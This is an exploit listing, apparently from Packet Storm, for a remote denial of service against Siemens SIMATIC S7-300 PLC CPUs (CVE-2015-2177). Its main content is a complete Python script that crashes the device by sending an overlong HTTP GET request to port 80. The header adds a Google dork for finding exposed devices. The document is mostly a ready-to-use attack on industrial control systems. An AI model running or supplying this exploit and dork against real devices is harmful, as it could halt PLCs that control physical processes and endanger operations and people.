Siemens SIMATIC S7-300 CPU Denial Of Service

Siemens SIMATIC S7-300 CPU suffers from a denial of service vulnerability.

MD5 | c73321522632cdab9ce397a103cee892

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# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service
# Google Dork: inurl:/Portal/Portal.mwsl
# Date: 2018-05-30
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SIMATIC S7-300 CPU family: all versions.
# Tested on: Kali Linux
# CVE: CVE-2015-2177
 
#!/usr/bin/python
import socket
 
target_address="TargetIP"
target_port=80
 
buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n"
 
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Source: packetstormsecurity.com